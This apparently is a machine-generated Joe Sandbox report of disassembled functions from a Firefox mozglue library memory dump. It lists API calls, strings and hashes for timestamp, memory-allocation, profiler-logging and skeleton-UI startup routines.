__aulldiv.LIBCMT ref: 6BF13883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BF13902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BF13918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BF1394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6BF135DB
GTC, xrefs: 6BF13912
GenuntelineI, xrefs: 6BF13639
AuthcAMDenti, xrefs: 6BF13946
QPC, xrefs: 6BF138FC

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f12d0695ee3d6361ec3ac038f1f9c210be404cb7dd02d69aedd41d3941990022
Instruction ID: 84f927751bc9d42aa89c85ef1a73e2e6ccf04fbb2282b412e51a7662a2065c49
Opcode Fuzzy Hash: f12d0695ee3d6361ec3ac038f1f9c210be404cb7dd02d69aedd41d3941990022
Instruction Fuzzy Hash: 18B19572A283109BDB58EF28C85571A7BE9FB89700F05892DF499D3370D774E90ACB51

Function 6BF2C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6BF2C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BF2C969
GetSystemInfo.KERNEL32(?), ref: 6BF2C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BF2C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BF2C9E2

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 4e9998d8de435753424abff070e528cc345b59fdf67df16e19a035e363c93828
Instruction ID: 91e683961f5595756b5188a1e8125876cc2ca64aa0c471bc1424294531082816
Opcode Fuzzy Hash: 4e9998d8de435753424abff070e528cc345b59fdf67df16e19a035e363c93828
Instruction Fuzzy Hash: 1F215E73650204ABDB04ABB5CC85BAE77B9FF46B40F50051AF906A7261DB74EC08CB91

Function 6BF13060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BF13095

Part of subcall function 6BF135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9F688,00001000), ref: 6BF135D5
Part of subcall function 6BF135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF135E0
Part of subcall function 6BF135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BF135FD
Part of subcall function 6BF135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF1363F
Part of subcall function 6BF135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF1369F
Part of subcall function 6BF135A0: __aulldiv.LIBCMT ref: 6BF136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF1309F

Part of subcall function 6BF35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF356EE,?,00000001), ref: 6BF35B85
Part of subcall function 6BF35B50: EnterCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35B90
Part of subcall function 6BF35B50: LeaveCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35BD8
Part of subcall function 6BF35B50: GetTickCount64.KERNEL32 ref: 6BF35BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BF130BE

Part of subcall function 6BF130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BF13127
Part of subcall function 6BF130F0: __aulldiv.LIBCMT ref: 6BF13140

Part of subcall function 6BF4AB2A: __onexit.LIBCMT ref: 6BF4AB30

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 67574d8fd65f4395be63ae07e85c3e49a892b4a69428e2af77fc7bf08fdad24d
Instruction ID: 5f6dc343f6b40f1a760225f26ce03dd3ad37ed569d75c4a9a8d2cd19225ebf29
Opcode Fuzzy Hash: 67574d8fd65f4395be63ae07e85c3e49a892b4a69428e2af77fc7bf08fdad24d
Instruction Fuzzy Hash: B4F0F933C3474597CA10FF3888423A67764EFAB214F501729F84453032FB24B1E98381

Non-executed Functions

Function 6BF5D320 Relevance: 165.2, APIs: 67, Strings: 27, Instructions: 662threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D34D

Part of subcall function 6BF35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF356EE,?,00000001), ref: 6BF35B85
Part of subcall function 6BF35B50: EnterCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35B90
Part of subcall function 6BF35B50: LeaveCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35BD8
Part of subcall function 6BF35B50: GetTickCount64.KERNEL32 ref: 6BF35BE4

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5D375
GetCurrentThreadId.KERNEL32 ref: 6BF5D517
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D51F
GetCurrentThreadId.KERNEL32 ref: 6BF5D54D
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D555
GetCurrentThreadId.KERNEL32 ref: 6BF5D583
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D58B
GetCurrentThreadId.KERNEL32 ref: 6BF5D5B9
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D5C1
GetCurrentThreadId.KERNEL32 ref: 6BF5D5EF
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D5F7
GetCurrentThreadId.KERNEL32 ref: 6BF5D626
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D62E
GetCurrentThreadId.KERNEL32 ref: 6BF5D65D
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D665
GetCurrentThreadId.KERNEL32 ref: 6BF5D694
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D69C
GetCurrentThreadId.KERNEL32 ref: 6BF5D6CB
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D6D3
GetCurrentThreadId.KERNEL32 ref: 6BF5D702
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D70A
GetCurrentThreadId.KERNEL32 ref: 6BF5D739
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D741
GetCurrentThreadId.KERNEL32 ref: 6BF5D770
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D778
GetCurrentThreadId.KERNEL32 ref: 6BF5D7A7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D7AF
GetCurrentThreadId.KERNEL32 ref: 6BF5D7DE
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D7E6
GetCurrentThreadId.KERNEL32 ref: 6BF5D815
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D81D
GetCurrentThreadId.KERNEL32 ref: 6BF5D84C
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D854
GetCurrentThreadId.KERNEL32 ref: 6BF5D883
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D88B
GetCurrentThreadId.KERNEL32 ref: 6BF5D8BA
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D8C2
GetCurrentThreadId.KERNEL32 ref: 6BF5D8F1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D8F9
GetCurrentThreadId.KERNEL32 ref: 6BF5D928
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D930
GetCurrentThreadId.KERNEL32 ref: 6BF5D95F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D967
moz_xmalloc.MOZGLUE(00000050), ref: 6BF5DAAD
GetCurrentThreadId.KERNEL32 ref: 6BF5DB6B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5DB73
GetCurrentThreadId.KERNEL32 ref: 6BF5DBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5DBE9
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D37D

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

GetCurrentThreadId.KERNEL32 ref: 6BF5D3A0
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D3A8
GetCurrentThreadId.KERNEL32 ref: 6BF5D3EC
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D3F4
GetCurrentThreadId.KERNEL32 ref: 6BF5D42E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D436
GetCurrentThreadId.KERNEL32 ref: 6BF5D475
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D47D
GetCurrentThreadId.KERNEL32 ref: 6BF5D4AB
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D4B3
GetCurrentThreadId.KERNEL32 ref: 6BF5D4E1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D4E9
?EnsureBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BF5D9A3
moz_xmalloc.MOZGLUE(000001A8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BF5DA09
free.MOZGLUE(6BF8FEF3), ref: 6BF5DA8A
?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(6BF6CCB0,6BF6CC90), ref: 6BF5DB1D
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF5DC5D

Strings

mainthreadio, xrefs: 6BF5D525
cpuallthreads, xrefs: 6BF5D85A
[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6BF5DBF2
noiostacks, xrefs: 6BF5D5C7
nativeallocations, xrefs: 6BF5D747
fileioall, xrefs: 6BF5D591
screenshots, xrefs: 6BF5D5FD
samplingallthreads, xrefs: 6BF5D891
processcpu, xrefs: 6BF5D936
[I %d/%d] - capacity = %d, xrefs: 6BF5D3B4
notimerresolutionchange, xrefs: 6BF5D823
fileio, xrefs: 6BF5D55B
[I %d/%d] - threads = %s, xrefs: 6BF5DB7F
jsallocations, xrefs: 6BF5D6A2
java, xrefs: 6BF5D483
unregisteredthreads, xrefs: 6BF5D8FF
seqstyle, xrefs: 6BF5D634
preferencereads, xrefs: 6BF5D710
stackwalk, xrefs: 6BF5D66B
markersallthreads, xrefs: 6BF5D8C8
leaf, xrefs: 6BF5D4EF
audiocallbacktracing, xrefs: 6BF5D7B5
[I %d/%d] locked_profiler_start, xrefs: 6BF5D385
power, xrefs: 6BF5D96D
ipcmessages, xrefs: 6BF5D77E
[I %d/%d] - feature = %s, xrefs: 6BF5D48A, 6BF5D4C0, 6BF5D4F6, 6BF5D52C, 6BF5D562, 6BF5D598, 6BF5D5CE, 6BF5D604, 6BF5D63B, 6BF5D672, 6BF5D6A9, 6BF5D6E0, 6BF5D717, 6BF5D74E, 6BF5D785, 6BF5D7BC, 6BF5D7F3, 6BF5D82A, 6BF5D861, 6BF5D898, 6BF5D8CF, 6BF5D906, 6BF5D93D, 6BF5D974
nostacksampling, xrefs: 6BF5D6D9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Thread$Current_getpid$getenv$CriticalEnterSectionmoz_xmalloc$??1ios_base@std@@BufferCount64CounterEnsureExit@mozilla@@Init_thread_footerLabelLeaveMainMarker@base_profiler_markers_detail@mozilla@@Now@PerformanceProfilerQueryRegisterStamp@mozilla@@TickTimeV12@___acrt_iob_func__stdio_common_vfprintffree
String ID: [I %d/%d] - capacity = %d$[I %d/%d] - feature = %s$[I %d/%d] - threads = %s$[I %d/%d] locked_profiler_save_profile_to_file(%s)$[I %d/%d] locked_profiler_start$audiocallbacktracing$cpuallthreads$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 924678828-2027714185
Opcode ID: e6bdb41e5a7e2afbcd213889851f353a3947737bd990e4717d3a3a7ac1c2238e
Instruction ID: 1365cabc5eb8bbbfe41293efee35738f139a3267a97f81ad944f2f431f25d351
Opcode Fuzzy Hash: e6bdb41e5a7e2afbcd213889851f353a3947737bd990e4717d3a3a7ac1c2238e
Instruction Fuzzy Hash: 2F32D97B8142025FEB15BBB49405F7AB7A5EFA630CF008858E94547273EF3E9816C762

Function 6BF4D9B0 Relevance: 125.6, APIs: 40, Strings: 31, Instructions: 1361stringtimeCOMMON

Download Yara Rule

APIs

?IsEafPlusEnabled@mozilla@@YA_NXZ.MOZGLUE ref: 6BF4D9CD

Part of subcall function 6BF20DE0: GetCurrentProcess.KERNEL32 ref: 6BF20DFE

?CacheNtDllThunk@mozilla@@YAXXZ.MOZGLUE ref: 6BF4D9D6

Part of subcall function 6BF4F2B0: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF4D9DB), ref: 6BF4F2D2
Part of subcall function 6BF4F2B0: GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6BF4F2F5
Part of subcall function 6BF4F2B0: moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF4F347
Part of subcall function 6BF4F2B0: moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6BF4F386

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Part of subcall function 6BF1EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6BF1EBB5
Part of subcall function 6BF1EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BF4D7F3), ref: 6BF1EBC3
Part of subcall function 6BF1EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BF4D7F3), ref: 6BF1EBD6

Part of subcall function 6BF214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6BF21248,6BF21248,?), ref: 6BF214C9
Part of subcall function 6BF214B0: memcpy.VCRUNTIME140(?,6BF21248,00000000,?,6BF21248,?), ref: 6BF214EF

Part of subcall function 6BF1EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6BF1EEE3

moz_xmalloc.MOZGLUE(00000018), ref: 6BF4D9DD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,00000000), ref: 6BF4DA00
memset.VCRUNTIME140(?,00000000,00000110,?,00000000), ref: 6BF4DA37
VerSetConditionMask.NTDLL ref: 6BF4DA64
VerSetConditionMask.NTDLL ref: 6BF4DA70
VerSetConditionMask.NTDLL ref: 6BF4DA77
VerSetConditionMask.NTDLL ref: 6BF4DA7E
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF4DA8C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6BF91A81,00000002,0000000E), ref: 6BF4DE11
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,marionette,?,?,?,?,?,?,00000000), ref: 6BF4DE39
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6BF91A81,00000002), ref: 6BF4DE74
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF4DECB
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000004), ref: 6BF4DF3A
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_SAFE_MODE_RESTART), ref: 6BF4DF53
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_SILENT_START,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF4DF6E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_RESET_PROFILE_RESTART,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BF4DF89
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_HEADLESS,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF4DFA4
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(XRE_PROFILE_PATH,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF4DFBF
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_SKELETON_UI_RESTARTING), ref: 6BF4DFDE
free.MOZGLUE(00000000), ref: 6BF4E051
moz_xmalloc.MOZGLUE(0000000C), ref: 6BF4E17C
GetModuleHandleW.KERNEL32(00000000), ref: 6BF4E1E3

Part of subcall function 6BF21460: free.MOZGLUE(?,?,?,6BF4D859), ref: 6BF21490
Part of subcall function 6BF21460: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BF4D859), ref: 6BF214A9

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BF4E706
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BF4E71A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BF4E732

Part of subcall function 6BF1F100: LoadLibraryW.KERNEL32(shell32,?,6BF8D020), ref: 6BF1F122
Part of subcall function 6BF1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BF1F132

??0ios_base@std@@IAE@XZ.MSVCP140(\Mozilla\Firefox\profiles.ini,0000001D,00000000), ref: 6BF4E80D
?fail@ios_base@std@@QBE_NXZ.MSVCP140 ref: 6BF4E852
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF4E91E

Strings

|Width, xrefs: 6BF4E359
\Mozilla\Firefox\profiles.ini, xrefs: 6BF4E7E6
MOZ_APP_SILENT_START, xrefs: 6BF4DF69
|Progress, xrefs: 6BF4DB54
XRE_PROFILE_PATH, xrefs: 6BF4DFBA
MozillaWindowClass, xrefs: 6BF4E21F, 6BF4EDCD
[General], xrefs: 6BF4EA02
StartWithLastProfile=, xrefs: 6BF4EAE0
3*+, xrefs: 6BF4EC45
, xrefs: 6BF4ED53
|CssToDevPixelScaling, xrefs: 6BF4E496
|Maximized, xrefs: 6BF4E433
|UrlbarCSSSpan, xrefs: 6BF4E54D
|Theme, xrefs: 6BF4EBE8
MOZ_SKELETON_UI_RESTARTING, xrefs: 6BF4DFD9
MAB, xrefs: 6BF4EC69
MAB, xrefs: 6BF4EC5F
MOZ_SAFE_MODE_RESTART, xrefs: 6BF4DF4E
MOZ_HEADLESS, xrefs: 6BF4DF9F
marionette, xrefs: 6BF4DD6C, 6BF4DE33
mjj, xrefs: 6BF4EC5A
|SpringsCSSSpan, xrefs: 6BF4E661
MOZ_RESET_PROFILE_RESTART, xrefs: 6BF4DF84
|SearchbarCSSSpan, xrefs: 6BF4E5EA
|ScreenY, xrefs: 6BF4E2EC
|Enabled, xrefs: 6BF4E129
|Height, xrefs: 6BF4E3C6
MAB, xrefs: 6BF4EC6E
|ScreenX, xrefs: 6BF4E27F
(, xrefs: 6BF4EEDD
|Flags, xrefs: 6BF4EB63

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: freegetenv$moz_xmalloc$ConditionMaskModule$HandleProcess$Currentmemcpymemsetstrncmp$??0ios_base@std@@??1ios_base@std@@?fail@ios_base@std@@AddressCacheEnabled@mozilla@@FileInfoLibraryLoadNameNow@PlusProcStamp@mozilla@@TerminateThunk@mozilla@@TimeV12@_VerifyVersion_invalid_parameter_noinfo_noreturn_stricmpstrcmpwcslen
String ID: ($3*+$MAB$MAB$MAB$MOZ_APP_SILENT_START$MOZ_HEADLESS$MOZ_RESET_PROFILE_RESTART$MOZ_SAFE_MODE_RESTART$MOZ_SKELETON_UI_RESTARTING$MozillaWindowClass$StartWithLastProfile=$XRE_PROFILE_PATH$[General]$\Mozilla\Firefox\profiles.ini$marionette$mjj$|CssToDevPixelScaling$|Enabled$|Flags$|Height$|Maximized$|Progress$|ScreenX$|ScreenY$|SearchbarCSSSpan$|SpringsCSSSpan$|Theme$|UrlbarCSSSpan$|Width$
API String ID: 493732560-649345617
Opcode ID: 830ad2db0cbe884087322b68f5c6dcf7ffd0fef431e7b4127070f182ef3e5991
Instruction ID: 0aab9e46bde7fe33a8a3e895511c34811dfed50ca2dc75673fe04f5bc4fa66f0
Opcode Fuzzy Hash: 830ad2db0cbe884087322b68f5c6dcf7ffd0fef431e7b4127070f182ef3e5991
Instruction Fuzzy Hash: D6D28072618381DFE764DF24C844B9ABBF1BF89308F00491DE58997361DB79A949CB82

Function 6BF5B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF5B845
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8,?,?,00000000), ref: 6BF5B852
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5B884
InitializeConditionVariable.KERNEL32(?), ref: 6BF5B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6BF5B9FD
GetCurrentThreadId.KERNEL32 ref: 6BF5BA05
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8,?,?,00000000), ref: 6BF5BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6BF5BA27
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5BA4B
free.MOZGLUE(?), ref: 6BF5C9C7
free.MOZGLUE(?), ref: 6BF5C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6BF5C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6BF5C878

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
